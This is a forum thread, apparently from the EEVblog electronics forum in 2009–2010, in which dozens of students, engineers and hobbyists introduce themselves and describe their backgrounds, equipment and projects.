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Title: New Member, Please introduce yourself
Post by: mttee2 on October 14, 2009, 11:29:18 pm
Typical forum always has a tread on introducing members.  ;D ;D

Hello from Malaysia. I am currently studying in Sunway Monash University Campus in Electrical & Computing System Engineering (2nd year). I got a bit bored by the typical theoretical lecture and wanted to buy some lab instrument for the practical side. I recently bought PICkit 3, fluke 289/FVF, LCR meter TH2821, some soldering tools and breadboards. I am currently building my own linear power supply for my micro-controller and looking forward to start learning micro-controller myself.  ;)

 
Title: Re: New Member, Please introduce yourself
Post by: desolatordan on October 16, 2009, 04:29:21 am
I'm Dan, and currently a student at the University of Michigan in Ann Arbor, MI. Studying electrical engineering and have interest in DIY lab equipment. I also have an interest in space-related projects such as balloons and satellites.
Title: Re: New Member, Please introduce yourself
Post by: mesoiam on October 16, 2009, 08:41:35 pm
Hello, I'm John, a previous student of electrical and electronic engineering at Newcastle University in England, but I'm from Ireland originally. Currently involved in theatre technical work but I still do a bit of Electronics on the side.
Title: Re: New Member, Please introduce yourself
Post by: jimmc on October 16, 2009, 09:47:49 pm
Hello, I'm Jim, a semi retired Electronics Design Engineer after 40+ years in the business.
Located in Southern England.
Title: Re: New Member, Please introduce yourself
Post by: Simon on October 17, 2009, 02:04:14 pm
Hi all I'm Simon from "sunny England" I stumbled on the blog when reading up about my new Rigol DS1052E scope and I'm ready to have a good old chat with some people about it.

I work as a quality inspector for a company that makes radiators and air conditioning for vehicles so unfortunately not electronic related really, but I'm gradually tooling up at home and getting into microcontrollers
Title: Re: New Member, Please introduce yourself
Post by: gumfish on October 17, 2009, 08:11:14 pm
Hi all,

I'm a senior Electronics Engineer working in instrumentation, in and from England, enjoying the blog  :)

Title: Re: New Member, Please introduce yourself
Post by: kc1980 on October 18, 2009, 09:27:04 am
Hi, I'm an Electrical Components, Materials and Processes engineer at a large US aerospace corporation.  I've been out of school for about 4-5 years now and feel a bit disconnected with my job.  I don't get much exposure to design work at the ol' 9-to-5, so I try to keep myself busy with EE/CS design stuff at home; I really need a good mentor and access to real equipment!  Argghhh....shiver me timbers!  :)
Title: Re: New Member, Please introduce yourself
Post by: qno on October 22, 2009, 03:03:09 pm
I am an Electrical and Embedded software engineer from The Netherlands with some time on my hands.
I have worked in the Medical, Consumer and Aerospace industries.
Title: Re: New Member, Please introduce yourself
Post by: charliex on October 22, 2009, 08:01:18 pm
charlie, scotlander, living in las vegas, usa, hardware/software hacker who mainly hacks car ecu's to make em go faster and do stuff they were never supposed too.
Title: Re: New Member, Please introduce yourself
Post by: Fernando on October 23, 2009, 08:11:17 am
I'm Fernando, EE student in Pontificia Universidad Católica de Chile (www.ing.puc.cl), most of my knowledge of electronics come from internet research since my faculty is more interested in pushing bureaucrats out instead of tech guys.
So I have found a really interesting space in Dave's videoblog.
Title: Re: New Member, Please introduce yourself
Post by: mngiggle on October 23, 2009, 05:50:01 pm
I'm Steve, a BSEE with 10 yrs of experience, graduated from the University of Minnesota in '99.   I work at an embedded and wireless design services firm (engineering consulting would be the non-buzzword description), and I've been wishing I could have seen Dave's video blog back in the last couple years of college (or the first few of employment).  It's still great to pick up on a few things that I either didn't know or forgot, and his vlog makes for outstanding watching while I'm on the treadmill at home.
Title: Re: New Member, Please introduce yourself
Post by: Dago on October 25, 2009, 03:08:54 pm
Hello, my name is Kalle and I'm an EE student from Finland with quite a lot of electronics experience prior to starting university. I'm generally interested in all things electronic (including computer stuff, programming etc.). Done some stuff with microcontrollers etc. and I've been especially interested in high voltage/current stuff (but not limited to) which includes tesla coils, other kind of high voltage supplies and induction heaters etc. I'm a pretty typical engineer-kind-of-guy who has lot of project ideas and designs but rarely gets anything finished, I just tend to lose my interest in project after some time (I've noticed this is very common in engineerish -type people). Currently I've been redesigning my induction heater:

(http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_400x.png) (http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_1024x.png)

Here is my website: http://www.dgkelectronics.com/ (haven't bothered to add that much stuff there yet) but you can find all kinds of pictures and stuff of my projects in: http://www.dgkelectronics.com/storage/electronics/

Now excuse me but I have to go and study for tomorrows circuit analysis exam... :-X
Title: Re: New Member, Please introduce yourself
Post by: Ferroto on October 25, 2009, 03:37:06 pm
I'm Shawn from Canada and just a week ago I bought a pickit2 and I've been playing around with it for about a week now. Then the other day I came across this blog when I saw Dave destroy the pickit3 in that review I was glad I bought the pickit2. This is also my first time pursuing electronics as a hobby, but I do have alot of experience with computers and I've been reading data sheets religiously for months now :D, Most of my knowledge and interest comes from looking up part #'s for various IC's on google and trying to figure out how a certain device works. ???
Title: Re: New Member, Please introduce yourself
Post by: dexters_lab on October 27, 2009, 06:24:37 pm
hello everyone, i'm what is probably best described as a novice electronics tinkerer, usually using PIC microcontrollers. located in the uk near manchester.

love the blogs & videos ;D
Title: Re: New Member, Please introduce yourself
Post by: flolic on October 28, 2009, 07:36:34 pm
Hi all, my name is Filip and I am from Croatia. No formal education in electric/electronics (I am machinist) but electronics is my hobby from early days...
Title: Re: New Member, Please introduce yourself
Post by: TrentO on October 30, 2009, 06:44:30 am
*** This placeholder is here to GUILT the Microchip folks, who are undoubtedly scanning every word here, into at least leaving a 'howdy-do' comment ***

Example:

"Hi I'm Trent. I'm a non-EE amateur electronics guy that decided to get back into Microcontrollers after a sixteen year hiatus from screwing around with 8051-BASIC's in '93. I'm an Aries, like long moon-lit walks along the components sections of Fry's Electronics, and relaxing by the pool with my Digi-Key catalog...."
Title: Re: New Member, Please introduce yourself
Post by: XynxNet on October 30, 2009, 03:13:33 pm
Hello, I am a physics and math student from Germany. Electronics is one of my hobbies. I actually stumbled over Daves blog, because of his favorite topic 'cheap chinese multimeters'. At the time I was working for my physics institut and constantly had to repair a bunch of them, which where used and regulary blown in students experiments. It is quite a shame that such crap is used without a critical thought, especially if you have top quality analog multimeters available.
Title: Re: New Member, Please introduce yourself
Post by: Veramacor on October 31, 2009, 03:33:23 am
Hail from Michigan,

Name is Jeff and my background is an undergraduate degree in Industrial Engineering.  Only cursory training in electronics, but the internet and the EEVblog are my instructors.

Weather is starting to get cold around here, so electronics will be high on the list of indoor activities!
Title: Re: New Member, Please introduce yourself
Post by: Aluminio on November 01, 2009, 08:46:30 pm
Hello all, I am Alvaro from Chile, EE as a proffession and hobby. I would like that Fernando, also from chile contacts me. Send me a message to aluminio@hotmail.com

Dave: congratulations for your blog.
Title: Re: New Member, Please introduce yourself
Post by: m.levin on November 03, 2009, 07:12:45 pm
Hello My name is Martin 28, well almost and I live in England UK.

I have an interest in Electronics, hence my joining of this forum, but I very keen interest in Model railways and the Electronic side of the hobby.
Title: Re: New Member, Please introduce yourself
Post by: danny on November 06, 2009, 04:43:03 am
Hi! I am Danny from U.S.A.
Consumer electronics field and Home Automation  :)
Title: Re: New Member, Please introduce yourself
Post by: rmorenojr on November 07, 2009, 04:17:24 am
Greetings,

My name is Rick.  I'm from Colorado, USA.  I'm an Electrical Engineer (power) and an amateur electronics enthusiast.  Right now I'm thinking of modifying a few things on my motorcycle.
Title: Re: New Member, Please introduce yourself
Post by: Macka on November 08, 2009, 08:38:24 am
Hi Everyone,

My name is Andrew, I am currently studying for a Bachelor of Electrical and Mechatronic Engineering at UniSA in Adelaide. I am in year 1.5 (due to me doing electronics as a year 12 subject, my TER was dramatically decreased from what it should have been - electronics is the most heavily scaled subject in the year 12 curriculum - so I had to do 4 intro subjects along with my first year subjects.

I have always had an interest in electronics (since kindergarten), but until recently, I have understood very little of it, obviously with uni I am learning a fair bit more then I already knew.

I have only known about this site for a few days and I can't wait for exams to be over so I have the time to watch all of the videos.
Title: Re: New Member, Please introduce yourself
Post by: mightyohm on November 10, 2009, 06:33:12 am
Hello everyone!

I'm Jeff, electrical engineer, RF/analog/embedded designer, and proprietor of mightyohm.com.   :)
Title: Re: New Member, Please introduce yourself
Post by: Zero999 on November 13, 2009, 06:36:24 pm
Hi everyone!

Some people may know me from other forums I post at.
Title: Re: New Member, Please introduce yourself
Post by: terriea on November 19, 2009, 01:22:05 am
Hi all,
I'm Antoine. I'm a French guy who studied electronics a long time ago. I switched to the binary world and I'm now software engineer with almost eight years of experiance. I had the occasion to work in the world of embedded software, in relation with some hardware-electonics-guy, this combined with the larger and larger amount of enhousiast project I see on the net pushed me to get back into electronics.
In my quest for comprehensive electonics information I found on this marvelous video blog. It's full on great information and good knowledge and all explained clearly. So keep on your exellent work, thank you very much for the class.
Title: Re: New Member, Please introduce yourself
Post by: F2DC on November 23, 2009, 03:57:16 pm
Hello everyone : I'm Roland, a semi retired Electronics Research Engineer living in France.
I'm a radio ham with the F2DC call sign.
My electronics interests are summarized in my Web pages : http://roland.cordesses.free.fr/
Title: Re: New Member, Please introduce yourself
Post by: Fathead on November 23, 2009, 05:57:11 pm
Hello my name is Pawel. I'm a high school student trying to learn a lot of electronics but lacking the time to do it. I've been doing electronics since I was 12 (not that seriously back then). I've been playing around with basic stamp, Avr, and xilinix spartan. I also like mechanical design and machining which I learned thanks to a very kind teacher during non-mandatory technology classes. I guess I would learn more if took things one step at a time and not just learning the interesting bits ;D
Title: Re: New Member, Please introduce yourself
Post by: santy.raghavan on November 25, 2009, 06:00:24 pm
Hello all,

Santosh (Santy) from Dallas, TX. A programmer by trade. No formal training in electronics. I experiment with micros and try to learn things by blowing things up :-).
Awesome blog.

BTW, used to live in Sydney. Miss the nice looking ladies and coffee.

Santy

Title: Re: New Member, Please introduce yourself
Post by: dmlandrum on November 30, 2009, 11:27:58 pm
Here I am, five posts in and I only just now saw this thread.

My name's Darren, from Port Huron, Michigan, USA, and I'm a third-year physics undergrad, aiming to be a professional entertainer. I'm an on-and-off electronics hobbyist for many years, but have recently gotten more serious with it, especially with the recent surge of the Maker's movement, thanks in large part to Make Magazine. But my real dream is to become a comedian/musician/entertainer famous enough to appear on my favorite British and Australian panel shows.  ;D Personally, I think wanting to be famous for anything is a serious mental defect, and I should consider getting treatment.

Music is my big thing, so my future plans for projects include modifying one of these old reel-to-reel tape decks for keyboard-based motor speed control, some analog synth stuff, and whatever other interesting sound making stuff. I also want a set up for scientific data collection, so I've been getting more and more into digital electronics lately.

So, hello, and thanks for the welcome.
Title: Re: New Member, Please introduce yourself
Post by: jahonen on December 06, 2009, 08:58:59 pm
Hi everybody, my name is Janne and I am 34 years old.

I am working as an electronics design engineer in one medium sized design house here in Finland. I have worked on almost every field of electronics (but excluding RF and microwave), but I find special interest on high-speed digital, signal integrity and EMC fields. I also like to write some utilities to make tedious jobs easier, like SQL-database-based parts management in my work, which was gratefully accepted by my colleagues.

My personal interests are digital signal processing in audio, digital measurement and control algorithms, motion control, FPGA-based things and generally those applications which nobody has not yet tried :)

Here are couple things to show you which are built by me, SPDIF-DAC + headphone amplifier (http://koti.mbnet.fi/jahonen/Audio/DIY/SPDIF-Headphoneamplifier/DAC-HPAMP-027.jpg) (software under debug in that picture), 8-channel volume control (http://koti.mbnet.fi/jahonen/Audio/DIY/8%20Channel%20Volume/8CHVolume-003.jpg) (remote controllable via IR remote or galvanically isolated USB), Tripath(RIP) TA0104 based amplifier (http://koti.mbnet.fi/jahonen/Audio/DIY/Tripath-TA0104/TA3.0-039.jpg) and electric consumption logger (http://koti.mbnet.fi/jahonen/Electronics/EnergyLogger/EnergyLogger-Assembled.jpg) (logs using the flashing led in EE meter front panel) to name a few. And I have created a nice (at least I think so) resistor optimizer (http://koti.mbnet.fi/jahonen/Electronics/ResOptimizer/) for finding out optimal feedback resistors for adjustable regulators or opamp feedback network.

I have also contributed the math code in WinISD pro (some of you may know this software for designing subwoofers or low-frequency driver enclosures).

Regards,
Janne
Title: Re: New Member, Please introduce yourself
Post by: yoshiki on December 14, 2009, 02:08:02 am
Hello my name is Yoshiki, I am from México I am about to start my 3rd year on Biomedical Engineering, pretty much love & enjoy instrumentation & software. I have been buying my own tools, looking forward to buy my firs oscilloscope.

Looking forward for more blogs, a fan of the EEVB since friday.
Title: Re: New Member, Please introduce yourself
Post by: EETAAS97 on December 22, 2009, 10:10:15 pm
 :)
Hello Everyone,
Eddie from USA NC.  I am a System Administrator L3.  I have been in IT for 15+ years.  I also have an EET AAS Degree and Electronic Repair Diploma.  I have not used my eletronic design skills in years.  I am sure I will learn much and I hope to be able to contribute to the forums.  I am a big fan of EEVblog.  Bring on the Vblogs.
Title: Re: New Member, Please introduce yourself
Post by: antb on December 23, 2009, 03:05:38 pm
Hi, I'm Anthony from U.K, a Motor mechanic by trade trying to master the electronics side of it all, probably simple stuff compared to all your projects, I'm sure I'll have more questions than answers to offer!

Great blog & Forum.
Title: Re: New Member, Please introduce yourself
Post by: logictom on December 28, 2009, 09:25:28 pm
Hey, I'm Tom also from the UK, up in Newcastle. I'm a student at Newcastle uni doing electronic engineering currently doing a placement at GE Oil & Gas as part of my course. Been studying electronics since it was offered at school in year 9. Also looking at doing a MSc in embedded systems engineering at Leeds next year if all goes well :)

Just found this blog and have spent the last couple of days catching up on the videos, great job keep it up!
Title: Re: New Member, Please introduce yourself
Post by: Erik on January 07, 2010, 08:10:32 pm
Hello, i'm Erik from the Netherlands. I'm practising electronics at a hobby base and I like programming pic microcontrollers. Because my knowledge only came from what i tought myself and I felt that even tough I could do some microcontroller programming my knowledge of basic electronics is pretty bad so I recently  decided to start reading the "art of electronics" at the advise of David in one if his blogs and since then i'm gathering a nice amount of information out of it.

I can't remember how i found your blog but i like it and sometimes the blogs are pretty funny too. Keep up the good work!
Title: Re: New Member, Please introduce yourself
Post by: icemagic on January 07, 2010, 08:32:33 pm
Hey guys,

I'm Moe from Australia, and I'm currently studying for a PhD in Microelectronics. I'm 25 years old. At the moment. :)
Title: Re: New Member, Please introduce yourself
Post by: Brett on January 10, 2010, 04:24:57 am
Hi Everybody!

My name's Brett, and I'm a currently employed Electronic Design Engineer in the USA, working at the same company for the last 14 years.  I design DC motor controllers for a wide ranging market area and medical equipment.  I've always been a tinkerer, and I'm just now really starting to put my "home projects" back in the works.  It's been a few good years since I've done much at home since I have a 4 year old son that keeps my wife and I very busy.  My buddy and I are trying to build up some cool projects with the Arduino, which makes development for someone with not a lot of time, a piece of cake.  Granted it's not super tiny, but the platform for prototyping purposes rocks.  I use it around the lab at work as well when I need a quick solution for some circuit manipulation and DAQ type stuff.  I would love to put together some videos like Dave has done... but first I'll need to fix up my workbench.  Right now it's an absolute mess.  Last night I had to work on the kitchen table.  Anyhoo... see you around the forum.
Title: Re: New Member, Please introduce yourself
Post by: APS on January 13, 2010, 06:17:47 pm
Hi everyone,

my name is Mario and I live in Croatia but born in Bosnia. My primary job is in elementary school but my hobby (soon my job I hope) is electronic. I am in electronic ten years now. I like DIY stuff whether in electronic or other. I like audio, micros, lab equipment, power electronic etc. I come across blog and this forum and I think they are great.

Regards,
Mario
Title: Re: New Member, Please introduce yourself
Post by: raikon16 on January 22, 2010, 10:32:40 pm
greetings mighty craftsmen.

John, from Latvia 20 yo. My lab currently consists of pc, table lamp, basic tools ( no multimeter ) soldering iron and vast amounts of various electronic gadgets - parts (95 % like 20 to 30 yo (made in soviet Russia ), I actually have tubes; raw material - pcboards, wires, screws, metal sheets, organic glass,etc ;boards from various electronic equipment - again 85 % 20 yo, and electronic equipment ( only thing that is not ancient - PSX, CRT TV, laptop, mobile phone). only if i could do something with these resources.

currently investigating how AC motor is working   
Title: Re: New Member, Please introduce yourself
Post by: Murphy on January 26, 2010, 06:05:25 pm
Hey all,

I'm Mike, a 22 year old EE student from Connecticut. Been tinkering with electronics all my life but only recently getting serious about it.
Finished my associates at a community college a little over a year ago and still trying to figure out what to do about getting a bachelors. I Don't know anybody that does electronics and that's getting annoying so I need get into some forums maybe a chat room. Been lurking here because of the awesome blog so I figure it's as good a place as any to start.

Currently honing my microcontroller programming skills (PICs), stocking up on components, and stripping a decades worth of salvaged PC boards to save some space. >.<
Title: Re: New Member, Please introduce yourself
Post by: stormBytes on January 30, 2010, 08:43:12 pm
Hey Folks,

I'm Daniel. I'm 34 years old, nothing to do with EE, just an avid hobbyist though I might actually think about changing that. I've always been fascinated by the shadowy world of electronics, circuits, and micros. I've finally decided to actually do something about it!

Thanks for having me!

Daniel
Title: Re: New Member, Please introduce yourself
Post by: DJPhil on January 31, 2010, 05:20:04 am
Greetings!

I'm Sean and I live in the suburbs of Omaha, in the center of the US. I've always loved science in (almost) all it's forms, and I'm recently returning to discrete electronics. I have an abundance of time, and a lack of money, so I do almost everything with tinkered and scavenged components. I kept all the books from the kits of my childhood, and I was amazed to see that I had one of the same ones Dave featured on his blog! Mine were purchased in the mid '80s, and at the time my family lived in England, just about the other side of the world.
Title: Re: New Member, Please introduce yourself
Post by: shawn01 on January 31, 2010, 06:30:15 am
Hello My name Is Shawn and I am from Chicagoland. I have spent most of my Time in Manufacturing, and have performed a little RMA work too. 
The highest Position I have held is Test Engineer (but just for a few days as a sub)
I am here to see what Dave can come up with.  His product reviews, and Tutorials are helpful. And can always be played again when needed.
Title: Re: New Member, Please introduce yourself
Post by: iva on January 31, 2010, 02:55:27 pm
Hi all, my name is Ivan, I've been playing with electronics since my first Philips kit (well before puberty!), studied industrial electronics in high school, when to uni for an electronics engineering bachelor and master...
and then moved to the dark side probably, I've been working as a software engineer for more than 10 years already  ::)
Title: Re: New Member, Please introduce yourself
Post by: rossmoffett on February 03, 2010, 04:34:55 am
I am a student at Oklahoma State University in the USA.  I played with my older brothers radio shack xxx in one kits when I was very young, maybe eight years?  I was pretty fascinated by it but my father wouldn't give me much chance to play with the parts on my own so it wore off.  I picked up again when I was 16 and wanted a vacuum tube guitar amp, an expensive product.  I did my research and collected garbage parts for under $100 and built it.  I've been struggling and in/out of college for the past six years for economic reasons, studying Electrical/Computer Engineering for a couple of years and then changing to Instrumentation at another OSU campus with better economic prospects.  I'll earn that degree in a few months, and one in Nano-Scientific Instrumentation, I already have an associates degree in Electrical/Electronics Technology.

My degree programs are broad in scope, I chose them because it fits my lifestyle and hobbies, which are also broad in scope.  My areas of experience/specialty/interest are PLCs, FPGAs, microcontrollers, vacuum tube electronics, hydraulics&pneumatics, motor control, fluids, industrial automation, optimization/efficiency, alternative energies, crude oil production and especially electronic sensing of all kinds.  I enjoy reading immensely, and spend most of my time doing that.  When I can tear myself away from learning on the internet I love to rock climb, tinker and hack electronics, play guitar, work cattle, cook and meet interesting people.  I try to live by the following quote, which I believe is very eloquent:

Quote
A human being should be able to change a diaper, plan an invasion, butcher a hog, conn a ship, design a building, write a sonnet, balance accounts, build a wall, set a bone, comfort the dying, take orders, give orders, cooperate, act alone, solve equations, analyze a new problem, pitch manure, program a computer, cook a tasty meal, fight efficiently, die gallantly. Specialization is for insects.

-Robert A. Heinlein

This isn't a resume, but I am looking for a job in Los Angeles, starting in May, FYI.  ;D
Title: Re: New Member, Please introduce yourself
Post by: Gamal on February 08, 2010, 04:57:05 am
   
   Hi,  this is Gamal from Fl. U.S.A, I have been studing electronics on my own for the past six years, no class room just home studies.
     Finally I am now in college working on my AAS degree in Electical/Electronics Engineering. Presently I am doing maths and english. I am just here to learn and prepare for my major. Enjoy all the blog and video.

                                                                                         Gamal
Title: Re: New Member, Please introduce yourself
Post by: horzza on February 18, 2010, 03:32:35 am
G'day all. I'm Chris from Melbourne, Australia, about to enter my second year of an electronics engineering and physics double degree at RMIT. I've been watching the blog since about episode 8 or 9 but I'm generally a bit of a lurker so never got involved in it's forum or discussion. Dad got me started in electronics after seeing I had an interest in pulling stuff apart with a Dick Smith 20 in 1 kit a few years ago.
Love the blog, particularly the the two blogs on job interview tips, as well as the several guides to things like caps, batteries and solar cells.
Title: Re: New Member, Please introduce yourself
Post by: mckee on February 19, 2010, 01:12:48 pm
Hello,
my name is Thomas and I am writing from Germany, nationality is Polish .
I am doing some hobby electronics since many years .
Best Greetings to everbody !  ;D
Title: Re: New Member, Please introduce yourself
Post by: RayJones on February 20, 2010, 01:43:33 am
Hi, I'm Ray and work in the Bureau of Meteorology's Radar Engineering group.

Been a geek since high school and still find the huge variety of specialist areas of electronics fascinating.

Title: Re: New Member, Please introduce yourself
Post by: tesla500 on February 20, 2010, 02:56:06 am
Hi, I'm David, A 23-year-old from Vancouver, BC.

I got into electronics and making things way back, probably when I was about 5 or 6. My dad showed me how to make counters using 74* series logic chips. And just like Dave, I always annoyed my parents taking things apart  ;D Throughout high school, I was always building projects such as electric powered bicycles and go karts, and high voltage devices like Tesla coils.

After high school, I took Electrical and Computer Engineering Technology at BCIT. I now regret that, I should have taken an engineering degree program, but that's another story. During my free time a friend and I converted a Pontiac Firefly to electric drive.

Now, I work as a power electronics engineer at Delta-Q Technologies. They make battery chargers for golf carts and industrial vehicles like scissor lifts.

Lately my projects have been building a high power AC inverter for an electric car drive system, and a high-speed video camera

David
Title: Re: New Member, Please introduce yourself
Post by: Emyr on February 21, 2010, 04:58:35 pm
With a BSc Computer Science under my belt and slowly becoming a zombie at my first programming job (one of two young webdevs at a small firm of solicitors) I recently purchased an Arduino starter kit to keep me busy. Coupled with an interest in cars, bikes and guitars I already have a few ideas to work on.

My first idea is to use the Arduino as glorified ADC feeding into my Asus eeePC to make an electronic dash for my Peugeot 306 TD (no ECU, no ODB port...)

Here's my first bit of soldering since school:

Copier fix'd!

(http://i41.photobucket.com/albums/e273/Emyr42/th_IMG00004.jpg) (http://i41.photobucket.com/albums/e273/Emyr42/IMG00004.jpg)

Plus the accountant reimbursed me for the soldering iron ;D I've since replaced the switch with a nice red pushswitch mounted in a square of cardboard (that switch and the leads are from my starter kit). The card means it should deter cavemen from breaking it and it's east to swap it for a fresh piece if it goes...
Title: Re: New Member, Please introduce yourself
Post by: teebooEET on February 25, 2010, 07:42:05 am
Im TEE,

Im from milwaukee Wi. i studying electronic engineering at MATC. i know that electronic can be hard sometime but im determine to study hard and finish my school with  an electrical engineering degree. i hope that you guy can help answer some of the question i may have.
Title: Re: New Member, Please introduce yourself
Post by: PetrosA on February 26, 2010, 04:34:59 am
Hello, I'm Peter and I'm an electrician at the moment. I was one of those kids who bought 25 cent radios at the flea markets and tried to fix them, but I never really got very advanced at it. Later I started doing electrical work for a few years, then moved to Poland for 14 years and ran a coffee house, translated a few books and came back to the US. I'm interested in increasing my understanding of various aspects of my work and tools as an electrician, as well as just learning new stuff for the hell of it :)

This is attempt #4 at posting this. I keep getting timed out errors on attempts to post. Also had this reply show up as a new post in the General chat section on the first attempt. Is Firefox 3.6 having any known issues with this forum software?
Title: Re: New Member, Please introduce yourself
Post by: VK3DRB on February 28, 2010, 03:52:30 am
G'Day. I am an engineer who has been into the industry for 30 years... mainframes, analogue and digital electronics design & manufacturing, instrument design, embedded, Labview, C etc. Dave's blogs rock. I am also a Dave.

cheers,
Dave
Title: Re: New Member, Please introduce yourself
Post by: GeekGirl on February 28, 2010, 04:46:43 am
G'Day. I am an engineer who has been into the industry for 30 years... mainframes, analogue and digital electronics design & manufacturing, instrument design, embedded, Labview, C etc. Dave's blogs rock. I am also a Dave.

cheers,
Dave

Is this some evil experiment ? Is Dave cloning himself ;)
Title: Re: New Member, Please introduce yourself
Post by: PetrosA on March 03, 2010, 02:46:04 am
G'Day. I am an engineer who has been into the industry for 30 years... mainframes, analogue and digital electronics design & manufacturing, instrument design, embedded, Labview, C etc. Dave's blogs rock. I am also a Dave.

cheers,
Dave

Is this some evil experiment ? Is Dave cloning himself ;)

Probably more like copying and pasting himself ;)
Title: Re: New Member, Please introduce yourself
Post by: ShiftPlusOne on March 03, 2010, 02:19:14 pm
Hey everyone,

I am 21, studying Electrical Engineering and Business Management at RMIT. I found EEVBlog through the hackaday post and have since become much more interested in electronics engineering.

I joined the forum to see what other people are doing and to get ideas and feedback on my own future projects.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: Squirrel on March 03, 2010, 03:04:35 pm
I'm 30 year old electrician. I trust Fluke's multimeters.

I live in Finland, here we meet polar bear and ashes in the middle of streets and need fight with bear for food in the woods.
Title: Re: New Member, Please introduce yourself
Post by: ArtemisGoldfish on March 03, 2010, 11:51:58 pm
Howdy!

I'm John, currently in school for a degree as an Engineering Technician (can't quite afford college for real engineering, maybe one day.) Primary interest is RF, though I have a special place in my heart for digital. Love playing with test equipment (Scopes, service monitors, spectrum analyzers, network analyzers, etc.) and generally fixing things (seems related to Dave's latest video blog.)
Title: Re: New Member, Please introduce yourself
Post by: free_electron on March 11, 2010, 04:59:20 pm
Vincent from San Jose California. Working for a large semiconductor manufacturer. I develop chips that go in harddisks. Started with electronics when i was about 8 years old. Been working in semiconductors for 16 now.
Main interests : FPGA (Altera / verilog), 8051 , Cortex , Arm7, analog stuff , mixed signal stuff.
Title: Re: New Member, Please introduce yourself
Post by: JimBeam on March 12, 2010, 06:45:34 am
Hello everybody,

my name is Andreas and I come from northern germany (Delmenhorst near Bremen). I was born in Berlin and have lived there for over 40 years.
My interests are electronics (of course and for more than 20 years now...), music (actively and passive) and my family.

Main interests in electronics are:
- microcontrollers, I started with 8051 and PIC, now mostly ATMEL AVRs
- firmware for the above
- audio/video and mixed signal electronics, i.e. I developed a teletext generator, that meanwhile is used by quite a lot smaller and larger broadcast stations in germany, austria and swiss.
- measurement circuits
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 12, 2010, 02:32:57 pm
Hi, I'm from Mexico City.

I studied Robotics Engineering and now I'm finishing a Masters in Computing Engineering.

I like the eevblog videos since because they have so many tricks and tips that could come in handy some day.  ;D
Title: Re: New Member, Please introduce yourself
Post by: mzacharias on March 17, 2010, 11:22:23 am
Mark Z. from Wichita, KS. USA. I'm an audio and video repair technician, and I collect multimeters, some old, some new. I have had a Fluke 85III for going on 5 years and I have to admit I couldn't help picking up an 87V after continually seeing it treated as a de facto reference meter in the video blogs.
I also like old Simpsons ( I own several) AVO's (have 2) and I have a couple AN/PSM-37 military types. The guys at work think I'm crazy but as Dave says, any well equipped bench has at least 5 of these things, right? ;)
Title: Re: New Member, Please introduce yourself
Post by: anthonycroberts on March 19, 2010, 08:34:01 pm
Hi,

I live in San Francisco, have a background in finance & dabble in embedded systems.

-Tony
Title: Re: New Member, Please introduce yourself
Post by: VladKEasternTiger on March 22, 2010, 12:11:07 am
Hi, I'm from Mexico City.

I studied Robotics Engineering and now I'm finishing a Masters in Computing Engineering.

I like the eevblog videos since because they have so many tricks and tips that could come in handy some day.  ;D

What career can Robotics Engineering lead? Could the things you learnt be self taught I understand the college provides with the materials to use and experiement with. It sounds interesting but I cannot afford college fees :(
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 22, 2010, 02:21:52 am
Hi, I studied in a public university in Mexico, so fees were no problem.

My robotics major included some general courses: electronics, programming, hydraulics, neumatics, mechanic, etc.

Most of those things can be self taught, specially electronics and programming since the material you need to practice is easy to acquire.

A robotics engineer can work anywhere he wants considering the broad knowledge he can get. I love electronics and programming and I am looking forward to finding a job which includes those areas.
Title: Re: New Member, Please introduce yourself
Post by: VladKEasternTiger on March 22, 2010, 08:14:26 pm
"Most of those things can be self taught, specially electronics and programming since the material you need to practice is easy to acquire."

Thank you for the reply, tell me where to look please?
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 22, 2010, 08:57:21 pm
Well, I don't know where you are from, but there should be electronics stores around you.

There are lots of basic electronics and programming tutorials online, I'm sure that if you use Google you'll find some. You can also go to a library and look for some books.
Title: Re: New Member, Please introduce yourself
Post by: jyrgen on March 29, 2010, 07:13:55 pm
Hello! My name is Patrik and I'm a recently graduated Robotics Engineer in Sweden. My main subject is electronics and in the robotic company I work in I'm designing a few pcb:s at the moment. I love this blog!
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 29, 2010, 09:54:55 pm
Hello! My name is Patrik and I'm a recently graduated Robotics Engineer in Sweden. My main subject is electronics and in the robotic company I work in I'm designing a few pcb:s at the moment. I love this blog!

Hi!

It seems that we studied the same major  ;D . What were the requirements they asked in your current job?
Title: Re: New Member, Please introduce yourself
Post by: jyrgen on March 30, 2010, 09:45:25 am
migsantiago: Hello! Nice to see that there are other countries with robotics as master! After I graduated I looked at many different jobs in Sweden but unfortunately all jobs were either work only with electronics or only software. I then started to search for jobs outside Sweden and I found a few that I applied for but I guess that is really hard to get hired in an other country with no working experience. It seemed like the only solution for me were to start my own business so that's what I'm now working on along with one of my classmates and a professor at our school. We are developing a robot but I can't tell you what it is at the moment. I love this job even though I currently don't get any salary. 

I hope that answers your question!
Title: Re: New Member, Please introduce yourself
Post by: migsantiago on March 30, 2010, 02:41:15 pm
migsantiago: Hello! Nice to see that there are other countries with robotics as master! After I graduated I looked at many different jobs in Sweden but unfortunately all jobs were either work only with electronics or only software. I then started to search for jobs outside Sweden and I found a few that I applied for but I guess that is really hard to get hired in an other country with no working experience. It seemed like the only solution for me were to start my own business so that's what I'm now working on along with one of my classmates and a professor at our school. We are developing a robot but I can't tell you what it is at the moment. I love this job even though I currently don't get any salary. 

I hope that answers your question!

Ohh that's great. I wish you success on your self employed job.  ;D
Title: Re: New Member, Please introduce yourself
Post by: A-sic Enginerd on April 01, 2010, 06:54:32 am
Doin' the newbie chime in:

Been doing chip design for a number of years. Has become "just a job", so recently started working up the hobby lab. I mean come on, you can arrange flops and AND and OR gates in only so many ways!

Computer Engr by degree, but have just about completely forgotten all the EE related background I got in school. So yeah, I'll be spending my share of time in the "Beginner" section. ;D
Title: Re: New Member, Please introduce yourself
Post by: csadzuki on April 02, 2010, 09:46:18 am
Hello everyone,

Newbie here from Japan ;)
I'm a Software Engineer with a strong interest in Electronics.
Hoping to learn many things and have some fun here in the forum.  ;D

- Csadzuki
Title: Re: New Member, Please introduce yourself
Post by: MTron on April 04, 2010, 04:26:36 am
Hey!

Names Matthew and i live in Ontario, Canada

